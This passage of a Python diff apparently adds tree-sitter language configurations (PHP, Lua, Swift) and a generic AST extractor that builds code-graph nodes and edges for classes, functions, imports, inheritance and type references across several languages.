body_fallback_child_types=("template_body",), + function_boundary_types=frozenset({"function_definition"}), + import_handler=_import_scala, +) + +_PHP_CONFIG = LanguageConfig( + ts_module="tree_sitter_php", + ts_language_fn="language_php", + class_types=frozenset({"class_declaration"}), + function_types=frozenset({"function_definition", "method_declaration"}), + import_types=frozenset({"namespace_use_clause"}), + call_types=frozenset({"function_call_expression", "member_call_expression", "scoped_call_expression", "class_constant_access_expression"}), + static_prop_types=frozenset({"scoped_property_access_expression"}), + helper_fn_names=frozenset({"config"}), + container_bind_methods=frozenset({"bind", "singleton", "scoped", "instance"}), + event_listener_properties=frozenset({"listen", "subscribe"}), + call_function_field="function", + call_accessor_node_types=frozenset({"member_call_expression"}), + call_accessor_field="name", + name_fallback_child_types=("name",), + body_fallback_child_types=("declaration_list", "compound_statement"), + function_boundary_types=frozenset({"function_definition", "method_declaration"}), + import_handler=_import_php, +) + + +def _resolve_lua_import_target(raw_module: str, str_path: str) -> str: + """Resolve a Lua require() module name to a node id. + + Lua module names use dots as path separators: `require("pkg.b")` looks for + `pkg/b.lua` (or `pkg/b/init.lua`) relative to a package root. We probe the + importing file's directory and walk upward looking for a matching file on + disk; if found, the returned id matches the file node id `_extract_generic` + assigns to that file (`_make_id(str(path))`), so the edge lands on a real + node. When nothing matches, fall back to `_make_id` of the full dotted + module name so cross-file resolution can still complete via the symbol + resolution pass instead of dropping the edge entirely (#1075). + """ + if not raw_module: + return "" + rel = raw_module.replace(".", "/") + try: + start_dir = Path(str_path).parent + except Exception: + start_dir = None + if start_dir is not None: + probe = start_dir + # Walk up a few levels so requires from nested files still resolve when + # the package root is above the importing file. + for _ in range(6): + for suffix in (".lua", ".luau"): + cand = probe / f"{rel}{suffix}" + if cand.is_file(): + return _make_id(str(cand)) + for suffix in (".lua", ".luau"): + cand = probe / rel / f"init{suffix}" + if cand.is_file(): + return _make_id(str(cand)) + if probe.parent == probe: + break + probe = probe.parent + return _make_id(raw_module) + + +def _import_lua(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + """Extract require('module') from Lua variable_declaration nodes.""" + text = _read_text(node, source) + import re + m = re.search(r"""require\s*[\('"]\s*['"]?([^'")\s]+)""", text) + if m: + raw_module = m.group(1) + if raw_module: + tgt_nid = _resolve_lua_import_target(raw_module, str_path) + if tgt_nid: + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": str_path, + "source_location": str(node.start_point[0] + 1), + "weight": 1.0, + }) + + +_LUA_CONFIG = LanguageConfig( + ts_module="tree_sitter_lua", + ts_language_fn="language", + class_types=frozenset(), + function_types=frozenset({"function_declaration"}), + import_types=frozenset({"variable_declaration"}), + call_types=frozenset({"function_call"}), + call_function_field="name", + call_accessor_node_types=frozenset({"method_index_expression"}), + call_accessor_field="name", + name_fallback_child_types=("identifier", "method_index_expression"), + body_fallback_child_types=("block",), + function_boundary_types=frozenset({"function_declaration"}), + import_handler=_import_lua, +) + + +def _import_swift(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + for child in node.children: + if child.type == "identifier": + raw = _read_text(child, source) + tgt_nid = _make_id(raw) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + +def _read_csharp_type_name(node, source: bytes) -> str | None: + """Resolve a readable C# type name from a field/type node.""" + if node is None: + return None + if node.type in ("identifier", "predefined_type"): + return _read_text(node, source) + if node.type == "qualified_name": + return _read_text(node, source).split(".")[-1] + if node.type == "generic_name": + name_node = node.child_by_field_name("name") + if name_node is not None: + return _read_text(name_node, source) + for child in node.children: + if not child.is_named: + continue + name = _read_csharp_type_name(child, source) + if name: + return name + return None + + +_SWIFT_CONFIG = LanguageConfig( + ts_module="tree_sitter_swift", + class_types=frozenset({"class_declaration", "protocol_declaration"}), + function_types=frozenset({"function_declaration", "init_declaration", "deinit_declaration", "subscript_declaration"}), + import_types=frozenset({"import_declaration"}), + call_types=frozenset({"call_expression"}), + call_function_field="", + call_accessor_node_types=frozenset({"navigation_expression"}), + call_accessor_field="", + name_fallback_child_types=("simple_identifier", "type_identifier", "user_type"), + body_fallback_child_types=("class_body", "protocol_body", "function_body", "enum_class_body"), + function_boundary_types=frozenset({"function_declaration", "init_declaration", "deinit_declaration", "subscript_declaration"}), + import_handler=_import_swift, +) + +# ── Generic extractor ───────────────────────────────────────────────────────── + +def _extract_generic(path: Path, config: LanguageConfig) -> dict: + """Generic AST extractor driven by LanguageConfig.""" + try: + mod = importlib.import_module(config.ts_module) + from tree_sitter import Language, Parser + lang_fn = getattr(mod, config.ts_language_fn, None) + if lang_fn is None: + # Fallback for PHP: try "language_php" then "language" + lang_fn = getattr(mod, "language", None) + if lang_fn is None: + return {"nodes": [], "edges": [], "error": f"No language function in {config.ts_module}"} + language = Language(lang_fn()) + except ImportError: + return {"nodes": [], "edges": [], "error": f"{config.ts_module} not installed"} + except TypeError as e: + # tree-sitter version mismatch: old Language() expects (lib_path), + # new Language() expects (language_capsule, name). Surface a hint + # so users see the upgrade path instead of a bare TypeError. + hint = ( + f"tree-sitter version mismatch for {config.ts_module}: {e}. " + "Try: pip install --upgrade tree-sitter tree-sitter-languages" + ) + return {"nodes": [], "edges": [], "error": hint} + except Exception as e: + return {"nodes": [], "edges": [], "error": str(e)} + + try: + parser = Parser(language) + source = path.read_bytes() + tree = parser.parse(source) + root = tree.root_node + except Exception as e: + return {"nodes": [], "edges": [], "error": str(e)} + + stem = _file_stem(path) + str_path = str(path) + nodes: list[dict] = [] + edges: list[dict] = [] + seen_ids: set[str] = set() + function_bodies: list[tuple[str, object]] = [] + pending_listen_edges: list[tuple[str, str, int]] = [] + # tree-sitter-swift parses both `class Foo` and `extension Foo` as + # `class_declaration`. Same-file pairs collapse via seen_ids, but cross-file + # extensions don't (file stem is part of the id), so they're collected here + # for a corpus-level merge after every file has been parsed. + swift_extensions: list[dict] = [] + + csharp_interface_names: set[str] = set() + if config.ts_module == "tree_sitter_c_sharp": + csharp_interface_names = _csharp_pre_scan_interfaces(root, source) + + swift_protocol_names: set[str] = set() + swift_class_names: set[str] = set() + if config.ts_module == "tree_sitter_swift": + swift_protocol_names, swift_class_names = _swift_pre_scan(root, source) + + def add_node(nid: str, label: str, line: int) -> None: + if nid not in seen_ids: + seen_ids.add(nid) + nodes.append({ + "id": nid, + "label": label, + "file_type": "code", + "source_file": str_path, + "source_location": f"L{line}", + }) + + def add_edge(src: str, tgt: str, relation: str, line: int, + confidence: str = "EXTRACTED", weight: float = 1.0, + context: str | None = None) -> None: + edge = { + "source": src, + "target": tgt, + "relation": relation, + "confidence": confidence, + "source_file": str_path, + "source_location": f"L{line}", + "weight": weight, + } + if context: + edge["context"] = context + edges.append(edge) + + def ensure_named_node(name: str, line: int) -> str: + nid = _make_id(stem, name) + if nid in seen_ids: + return nid + nid = _make_id(name) + if nid not in seen_ids: + add_node(nid, name, line) + return nid + + file_nid = _make_id(str(path)) + add_node(file_nid, path.name, 1) + + def walk(node, parent_class_nid: str | None = None) -> None: + t = node.type + + # Import types + if t in config.import_types: + if config.import_handler: + config.import_handler(node, source, file_nid, stem, edges, str_path) + # For export_statement: only return (skip children) if it's a re-export + # (has a `from` source). Otherwise fall through to walk children which may + # contain function_declaration, class_declaration, etc. + if t == "export_statement": + has_source = any(c.type == "string" for c in node.children) + if not has_source: + for child in node.children: + walk(child, parent_class_nid) + return + + # Class types + if t in config.class_types: + # Resolve class name + name_node = node.child_by_field_name(config.name_field) + if name_node is None: + for child in node.children: + if child.type in config.name_fallback_child_types: + name_node = child + break + if not name_node: + return + class_name = _read_text(name_node, source) + class_nid = _make_id(stem, class_name) + line = node.start_point[0] + 1 + add_node(class_nid, class_name, line) + add_edge(file_nid, class_nid, "contains", line) + + if config.ts_module == "tree_sitter_swift" and any( + c.type == "extension" for c in node.children + ): + swift_extensions.append({"nid": class_nid, "label": class_name}) + + # Python-specific: inheritance + if config.ts_module == "tree_sitter_python": + args = node.child_by_field_name("superclasses") + if args: + for arg in args.children: + if arg.type == "identifier": + base = _read_text(arg, source) + base_nid = _make_id(stem, base) + if base_nid not in seen_ids: + base_nid = _make_id(base) + if base_nid not in seen_ids: + nodes.append({ + "id": base_nid, + "label": base, + "file_type": "code", + "source_file": "", + "source_location": "", + }) + seen_ids.add(base_nid) + add_edge(class_nid, base_nid, "inherits", line) + + # Swift-specific: conformance / inheritance + if config.ts_module == "tree_sitter_swift": + swift_kind = _swift_declaration_keyword(node) if t == "class_declaration" else "protocol" + seen_swift_base = False + for child in node.children: + if child.type != "inheritance_specifier": + continue + base_name: str | None = None + user_type_node = None + for sub in child.children: + if sub.type == "user_type": + user_type_node = sub + base_name = _swift_user_type_name(sub, source) + break + if sub.type == "type_identifier": + base_name = _read_text(sub, source) or None + break + if not base_name: + continue + base_nid = _make_id(stem, base_name) + if base_nid not in seen_ids: + base_nid = _make_id(base_name) + if base_nid not in seen_ids: + nodes.append({ + "id": base_nid, + "label": base_name, + "file_type": "code", + "source_file": "", + "source_location": "", + }) + seen_ids.add(base_nid) + if t == "protocol_declaration": + relation = "inherits" + else: + relation = _swift_classify_base( + base_name, swift_kind, not seen_swift_base, + swift_protocol_names, swift_class_names, + ) + seen_swift_base = True + add_edge(class_nid, base_nid, relation, line) + if user_type_node is not None: + for arg_child in user_type_node.children: + if arg_child.type != "type_arguments": + continue + for arg in arg_child.children: + if not arg.is_named: + continue + refs: list[tuple[str, str]] = [] + _swift_collect_type_refs(arg, source, True, refs) + for ref_name, _role in refs: + target = ensure_named_node(ref_name, line) + add_edge(class_nid, target, "references", line, + context="generic_arg") + + # PHP-specific: extends → inherits, implements → implements, use → mixes_in + if config.ts_module == "tree_sitter_php": + def _php_emit_base(base_name: str, rel: str, at_line: int) -> None: + if not base_name: + return + base_nid = _make_id(stem, base_name) + if base_nid not in seen_ids: + base_nid = _make_id(base_name) + if base_nid not in seen_ids: + nodes.append({ + "id": base_nid, + "label": base_name, + "file_type": "code", + "source_file": "", + "source_location": "", + }) + seen_ids.add(base_nid) + add_edge(class_nid, base_nid, rel, at_line) + + for child in node.children: + if child.type == "base_clause": + for sub in child.children: + if sub.type in ("name", "qualified_name"): + _php_emit_base(_php_name_text(sub, source) or "", + "inherits", child.start_point[0] + 1) + elif child.type == "class_interface_clause": + for sub in child.children: + if sub.type in ("name", "qualified_name"): + _php_emit_base(_php_name_text(sub, source) or "", + "implements", child.start_point[0] + 1) + body = node.child_by_field_name("body") + if body is None: + for c in node.children: + if c.type == "declaration_list": + body = c + break + if body is not None: + for member in body.children: + if member.type != "use_declaration": + continue + for sub in member.children: + if sub.type in ("name", "qualified_name"): + _php_emit_base(_php_name_text(sub, source) or "", + "mixes_in", member.start_point[0] + 1) + + # Kotlin-specific: delegation_specifiers → inherits (constructor_invocation) / implements (user_type) + if config.ts_module == "tree_sitter_kotlin": + for child in node.children: + if child.type != "delegation_specifiers": + continue + for spec in child.children: + if spec.type != "delegation_specifier": + continue + relation = "implements" + user_type_node = None + for sub in spec.children: + if sub.type == "constructor_invocation": + relation = "inherits" + for inner in sub.children: + if inner.type == "user_type": + user_type_node = inner + break + break + if sub.type == "user_type": + user_type_node = sub + break + if user_type_node is None: + continue + base = _kotlin_user_type_name(user_type_node, source) + if not base: + continue + base_nid = _make_id(stem, base) + if base_nid not in seen_ids: + base_nid = _make_id(base) + if base_nid not in seen_ids: + nodes.append({ + "id": base_nid, + "label": base, + "file_type": "code", + "source_file": "", + "source_location": "", + }) + seen_ids.add(base_nid) + add_edge(class_nid, base_nid, relation, line) + for arg_child in user_type_node.children: + if arg_child.type != "type_arguments": + continue + for arg in arg_child.children: + if arg.type == "type_projection": + for inner in arg.children: + if not inner.is_named: + continue + refs: list[tuple[str, str]] = [] + _kotlin_collect_type_refs(inner, source, True, refs) + for ref_name, _role in refs: + target = ensure_named_node(ref_name, line) + add_edge(class_nid, target, "references", line, + context="generic_arg") + + # C#-specific: inheritance / interface implementation via base_list + if config.ts_module == "tree_sitter_c_sharp": + for child in node.children: + if child.type != "base_list": + continue + for sub in child.children: + if sub.type not in ("identifier", "generic_name", "qualified_name"): + continue + if sub.type == "generic_name": + name_child = sub.child_by_field_name("name") + base = ( + _read_text(name_child, source) if name_child + else _read_text(sub.children[0], source) + ) + elif sub.type == "qualified_name": + base = _read_text(sub, source).rsplit(".", 1)[-1] + else: + base = _read_text(sub, source) + if not base: + continue + base_nid = _make_id(stem, base) + if base_nid not in seen_ids: + base_nid = _make_id(base) + if base_nid not in seen_ids: + nodes.append({ + "id": base_nid, + "label": base, + "file_type": "code", + "source_file": "", + "source_location": "", + }) + seen_ids.add(base_nid) + relation = _csharp_classify_base(base, csharp_interface_names) + add_edge(class_nid, base_nid, relation, line) + if sub.type == "generic_name": + for tal in sub.children: + if tal.type != "type_argument_list": + continue + for arg in tal.children: + if not arg.is_named: + continue + refs: list[tuple[str, str]] = [] + _csharp_collect_type_refs(arg, source, True, refs) + for ref_name, _role in refs: + target = ensure_named_node(ref_name, line) + add_edge(class_nid, target, "references", line, + context="generic_arg") + + # Java-specific: extends (superclass) / implements (interfaces) / interface-extends + if config.ts_module == "tree_sitter_java": + def _emit_java_parent(base_name: str, rel: str, at_line: int) -> None: + if not base_name: + return + base_nid = _make_id(stem, base_name) + if base_nid not in seen_ids: + base_nid = _make_id(base_name) + if base_nid not in seen_ids: + nodes.append({ + "id": base_nid, + "label": base_name, + "file_type": "code", + "source_file": "", + "source_location": "", + }) + seen_ids.add(base_nid) + add_edge(class_nid, base_nid, rel, at_line) + + sup = node.child_by_field_name("superclass") + if sup is not None: + for sub in sup.children: + if sub.type == "type_identifier": + _emit_java_parent(_read_text(sub, source), "inherits", line) + break + + ifs = node.child_by_field_name("interfaces") + if ifs is not None: + for sub in ifs.children: + if sub.type == "type_list": + for tid in sub.children: + if tid.type == "type_identifier": + _emit_java_parent(_read_text(tid, source), "implements", line) + + if t == "interface_declaration": + for child in node.children: + if child.type == "extends_interfaces": + for sub in child.children: + if sub.type == "type_list": + for tid in sub.children: + if tid.type == "type_identifier": + _emit_java_parent(_read_text(tid, source), "inherits", line) + + # Scala: extends_clause carries `extends Base with Trait1 with Trait2`. + # The first base after `extends` is `inherits`; each subsequent + # type after `with` is `mixes_in`. Also walk class_parameters for + # constructor-as-field type references. + if config.ts_module == "tree_sitter_scala": + extend = node.child_by_field_name("extend") + if extend is None: + for c in node.children: + if c.type == "extends_clause": + extend = c + break + if extend is not None: + bases: list[tuple[str, int]] = [] + for c in extend.children: + if c.type == "type_identifier": + bases.append((_read_text(c, source), c.start_point[0] + 1)) + elif c.type == "generic_type": + base = c.child_by_field_name("type") + if base is None: + for sc in c.children: + if sc.type == "type_identifier": + base = sc + break + if base is not None: + bases.append((_read_text(base, source), c.start_point[0] + 1)) + for idx, (base_name, base_line) in enumerate(bases): + rel = "inherits" if idx == 0 else "mixes_in" + base_nid = ensure_named_node(base_name, base_line) + if base_nid != class_nid: + add_edge(class_nid, base_nid, rel, base_line) + for c in node.children: + if c.type != "class_parameters": + continue + for cp in c.children: + if cp.type != "class_parameter": + continue + ptype = cp.child_by_field_name("type") + if ptype is None: + continue + cp_line = cp.start_point[0] + 1 + refs: list[tuple[str, str]] = [] + _scala_collect_type_refs(ptype, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "field" + target_nid = ensure_named_node(ref_name, cp_line) + if target_nid != class_nid: + add_edge(class_nid, target_nid, "references", + cp_line, context=ctx) + + # C++-specific: inheritance via base_class_clause (class and struct). + # tree-sitter-cpp shape: + # class_specifier / struct_specifier + # base_class_clause + # access_specifier? ("public"/"protected"/"private") -- skip + # "virtual"? -- skip + # type_identifier -- "Base" + # qualified_identifier -- "ns::Base" + # template_type -- "Vec" + # Multiple bases are siblings separated by ',' tokens. + if config.ts_module == "tree_sitter_cpp": + for child in node.children: + if child.type != "base_class_clause": + continue + for sub in child.children: + base = "" + if sub.type == "type_identifier": + base = _read_text(sub, source) + elif sub.type == "qualified_identifier": + # Use the unqualified tail so "std::vector" matches + # a "vector" node id if one exists in the graph; + # fall back to the full qualified text otherwise. + tail = sub.child_by_field_name("name") + base = _read_text(tail, source) if tail else _read_text(sub, source) + elif sub.type == "template_type": + tname = sub.child_by_field_name("name") + base = _read_text(tname, source) if tname else _read_text(sub, source) + else: + continue + if not base: + continue + base_nid = _make_id(stem, base) + if base_nid not in seen_ids: + base_nid = _make_id(base) + if base_nid not in seen_ids: + nodes.append({ + "id": base_nid, + "label": base, + "file_type": "code", + "source_file": "", + "source_location": "", + }) + seen_ids.add(base_nid) + add_edge(class_nid, base_nid, "inherits", line) + + # Find body and recurse + body = _find_body(node, config) + if body: + for child in body.children: + walk(child, parent_class_nid=class_nid) + return + + # Event listener property arrays: $listen = [Event::class => [Listener::class]] + if (t == "property_declaration" + and parent_class_nid + and config.event_listener_properties): + handled_event_listener = False + for element in node.children: + if element.type != "property_element": + continue + prop_name: str | None = None + array_node = None + for c in element.children: + if c.type == "variable_name": + for sc in c.children: + if sc.type == "name": + prop_name = _read_text(sc, source) + break + elif c.type == "array_creation_expression": + array_node = c + if (prop_name is None + or prop_name not in config.event_listener_properties + or array_node is None): + continue + handled_event_listener = True + for entry in array_node.children: + if entry.type != "array_element_initializer": + continue + event_cls: str | None = None + listener_arr = None + for sub in entry.children: + if sub.type == "class_constant_access_expression" and event_cls is None: + for sc in sub.children: + if sc.is_named and sc.type in ("name", "qualified_name"): + event_cls = _read_text(sc, source) + break + elif sub.type == "array_creation_expression": + listener_arr = sub + if not event_cls or listener_arr is None: + continue + for listener_entry in listener_arr.children: + if listener_entry.type != "array_element_initializer": + continue + for item in listener_entry.children: + if item.type != "class_constant_access_expression": + continue + for sc in item.children: + if sc.is_named and sc.type in ("name", "qualified_name"): + listener_cls = _read_text(sc, source) + line_no = item.start_point[0] + 1 + pending_listen_edges.append((event_cls, listener_cls, line_no)) + break + break + if handled_event_listener: + return + + if (config.ts_module == "tree_sitter_c_sharp" + and t == "field_declaration" + and parent_class_nid): + type_node = node.child_by_field_name("type") + if type_node is None: + for child in node.children: + if child.type == "variable_declaration": + type_node = child.child_by_field_name("type") + if type_node is not None: + break + type_name = _read_csharp_type_name(type_node, source) + if type_name: + line = node.start_point[0] + 1 + add_edge(parent_class_nid, ensure_named_node(type_name, line), + "references", line, context="field") + return + + if (config.ts_module == "tree_sitter_php" + and t == "property_declaration" + and parent_class_nid): + for c in node.children: + if c.type not in ("named_type", "primitive_type", "nullable_type", + "union_type", "intersection_type", "optional_type"): + continue + line = node.start_point[0] + 1 + refs: list[tuple[str, str]] = [] + _php_collect_type_refs(c, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "field" + target_nid = ensure_named_node(ref_name, line) + if target_nid != parent_class_nid: + add_edge(parent_class_nid, target_nid, "references", line, context=ctx) + break + return + + if (config.ts_module == "tree_sitter_kotlin" + and t == "property_declaration" + and parent_class_nid): + type_node = _kotlin_property_type_node(node) + if type_node is not None: + line = node.start_point[0] + 1 + refs: list[tuple[str, str]] = [] + _kotlin_collect_type_refs(type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "field" + target_nid = ensure_named_node(ref_name, line) + if target_nid != parent_class_nid: + add_edge(parent_class_nid, target_nid, "references", line, context=ctx) + return + + if (config.ts_module == "tree_sitter_swift" + and t == "property_declaration" + and parent_class_nid): + type_anno = _swift_property_type_node(node) + if type_anno is not None: + line = node.start_point[0] + 1 + refs: list[tuple[str, str]] = [] + _swift_collect_type_refs(type_anno, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "field" + target_nid = ensure_named_node(ref_name, line) + if target_nid != parent_class_nid: + add_edge(parent_class_nid, target_nid, "references", line, context=ctx) + return + + if (config.ts_module == "tree_sitter_scala" + and t == "val_definition" + and parent_class_nid): + type_node = node.child_by_field_name("type") + if type_node is not None: + line = node.start_point[0] + 1 + refs: list[tuple[str, str]] = [] + _scala_collect_type_refs(type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "field" + target_nid = ensure_named_node(ref_name, line) + if target_nid != parent_class_nid: + add_edge(parent_class_nid, target_nid, "references", + line, context=ctx) + # fall through so any call expressions in the initializer get walked + + if (config.ts_module == "tree_sitter_cpp" + and t == "field_declaration" + and parent_class_nid): + # Skip method prototypes (field_declaration with a function_declarator + # is a member-function declaration, not a data member). + decls = list(node.children_by_field_name("declarator")) + is_method = any( + d.type == "function_declarator" + or (d.type in ("pointer_declarator", "reference_declarator") + and any(c.type == "function_declarator" for c in d.children)) + for d in decls + ) + if not is_method: + type_node = node.child_by_field_name("type") + if type_node is not None: + line = node.start_point[0] + 1 + refs: list[tuple[str, str]] = [] + _cpp_collect_type_refs(type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "field" + target_nid = ensure_named_node(ref_name, line) + if target_nid != parent_class_nid: + add_edge(parent_class_nid, target_nid, "references", + line, context=ctx) + # Emit a node for each data member. Use children_by_field_name so we + # only visit declarator children, not the type node (which would give + # us the type name, not the field name). Handles int x, y; via + # multiple declarator fields and static const int MAX = 100; via the + # init_declarator → field_identifier recursion in _get_cpp_func_name. + for decl in decls: + name = _get_cpp_func_name(decl, source) + if name: + line = decl.start_point[0] + 1 + field_nid = _make_id(parent_class_nid, name) + add_node(field_nid, name, line) + add_edge(parent_class_nid, field_nid, "defines", line, context="field") + return + + # Function types + if t in config.function_types: + # Swift deinit/subscript have no name field — resolve before generic fallback + if t == "deinit_declaration": + func_name: str | None = "deinit" + elif t == "subscript_declaration": + func_name = "subscript" + elif config.resolve_function_name_fn is not None: + # C/C++ style: use declarator + declarator = node.child_by_field_name("declarator") + func_name = None + if declarator: + func_name = config.resolve_function_name_fn(declarator, source) + else: + name_node = node.child_by_field_name(config.name_field) + if name_node is None: + for child in node.children: + if child.type in config.name_fallback_child_types: + name_node = child + break + func_name = _read_text(name_node, source) if name_node else None + + if not func_name: + return + + line = node.start_point[0] + 1 + if parent_class_nid: + func_nid = _make_id(parent_class_nid, func_name) + add_node(func_nid, f".{func_name}()", line) + add_edge(parent_class_nid, func_nid, "method", line) + else: + func_nid = _make_id(stem, func_name) + add_node(func_nid, f"{func_name}()", line) + add_edge(file_nid, func_nid, "contains", line) + + if config.ts_module == "tree_sitter_python": + params_node = node.child_by_field_name("parameters") + for ref_name, role in _python_collect_param_refs(params_node, source): + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + edges.append( + _semantic_reference_edge(func_nid, target_nid, ctx, str_path, line) + ) + return_type_node = node.child_by_field_name("return_type") + if return_type_node is not None: + return_refs: list[tuple[str, str]] = [] + _python_collect_type_refs(return_type_node, source, False, return_refs) + for ref_name, role in return_refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + edges.append( + _semantic_reference_edge(func_nid, target_nid, ctx, str_path, line) + ) + + if config.ts_module == "tree_sitter_c_sharp": + params_node = node.child_by_field_name("parameters") + if params_node is not None: + for p in params_node.children: + if p.type != "parameter": + continue + type_node = p.child_by_field_name("type") + refs: list[tuple[str, str]] = [] + _csharp_collect_type_refs(type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + return_node = node.child_by_field_name("returns") + if return_node is not None: + refs = [] + _csharp_collect_type_refs(return_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + for attr_name in _csharp_attribute_names(node, source): + target_nid = ensure_named_node(attr_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context="attribute") + + if config.ts_module == "tree_sitter_java": + params_node = node.child_by_field_name("parameters") + if params_node is not None: + for p in params_node.children: + if p.type != "formal_parameter": + continue + type_node = p.child_by_field_name("type") + refs = [] + _java_collect_type_refs(type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + return_node = node.child_by_field_name("type") + if return_node is not None: + refs = [] + _java_collect_type_refs(return_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + for anno_name in _java_method_annotation_names(node, source): + target_nid = ensure_named_node(anno_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context="attribute") + + if config.ts_module == "tree_sitter_php": + params_container = None + for c in node.children: + if c.type == "formal_parameters": + params_container = c + break + if params_container is not None: + for p in params_container.children: + if p.type != "simple_parameter": + continue + type_node = None + for sub in p.children: + if sub.type in ("named_type", "primitive_type", "nullable_type", + "union_type", "intersection_type", "optional_type"): + type_node = sub + break + refs: list[tuple[str, str]] = [] + _php_collect_type_refs(type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + return_node = _php_method_return_type_node(node) + if return_node is not None: + refs = [] + _php_collect_type_refs(return_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + + if config.ts_module == "tree_sitter_kotlin": + params_container = None + for c in node.children: + if c.type == "function_value_parameters": + params_container = c + break + if params_container is not None: + for p in params_container.children: + if p.type != "parameter": + continue + param_type_node = None + for sub in p.children: + if sub.type in ("user_type", "nullable_type", "type_reference"): + param_type_node = sub + break + refs: list[tuple[str, str]] = [] + _kotlin_collect_type_refs(param_type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + return_type_node = _kotlin_function_return_type_node(node) + if return_type_node is not None: + refs = [] + _kotlin_collect_type_refs(return_type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + + if config.ts_module == "tree_sitter_swift": + for p in node.children: + if p.type != "parameter": + continue + type_node = p.child_by_field_name("type") + refs: list[tuple[str, str]] = [] + _swift_collect_type_refs(type_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + return_node = node.child_by_field_name("return_type") + if return_node is not None: + refs = [] + _swift_collect_type_refs(return_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + + if config.ts_module in ("tree_sitter_c", "tree_sitter_cpp"): + collect = (_cpp_collect_type_refs if config.ts_module == "tree_sitter_cpp" + else _c_collect_type_refs) + return_node = node.child_by_field_name("type") + if return_node is not None: + refs: list[tuple[str, str]] = [] + collect(return_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", line, context=ctx) + # function_declarator may be wrapped in pointer/reference declarators + decl = node.child_by_field_name("declarator") + while decl is not None and decl.type in ( + "pointer_declarator", "reference_declarator"): + decl = decl.child_by_field_name("declarator") + if decl is not None and decl.type == "function_declarator": + params_node = decl.child_by_field_name("parameters") + if params_node is not None: + for p in params_node.children: + if p.type != "parameter_declaration": + continue + ptype = p.child_by_field_name("type") + if ptype is None: + continue + refs = [] + collect(ptype, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", + line, context=ctx) + + if config.ts_module == "tree_sitter_scala": + params_node = None + for c in node.children: + if c.type == "parameters": + params_node = c + break + if params_node is not None: + for p in params_node.children: + if p.type != "parameter": + continue + ptype = p.child_by_field_name("type") + if ptype is None: + continue + refs: list[tuple[str, str]] = [] + _scala_collect_type_refs(ptype, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "parameter_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", + line, context=ctx) + return_node = node.child_by_field_name("return_type") + if return_node is not None: + refs = [] + _scala_collect_type_refs(return_node, source, False, refs) + for ref_name, role in refs: + ctx = "generic_arg" if role == "generic_arg" else "return_type" + target_nid = ensure_named_node(ref_name, line) + if target_nid != func_nid: + add_edge(func_nid, target_nid, "references", + line, context=ctx) + + body = _find_body(node, config) + if body: + function_bodies.append((func_nid, body)) + return + + # JS/TS arrow functions and C# 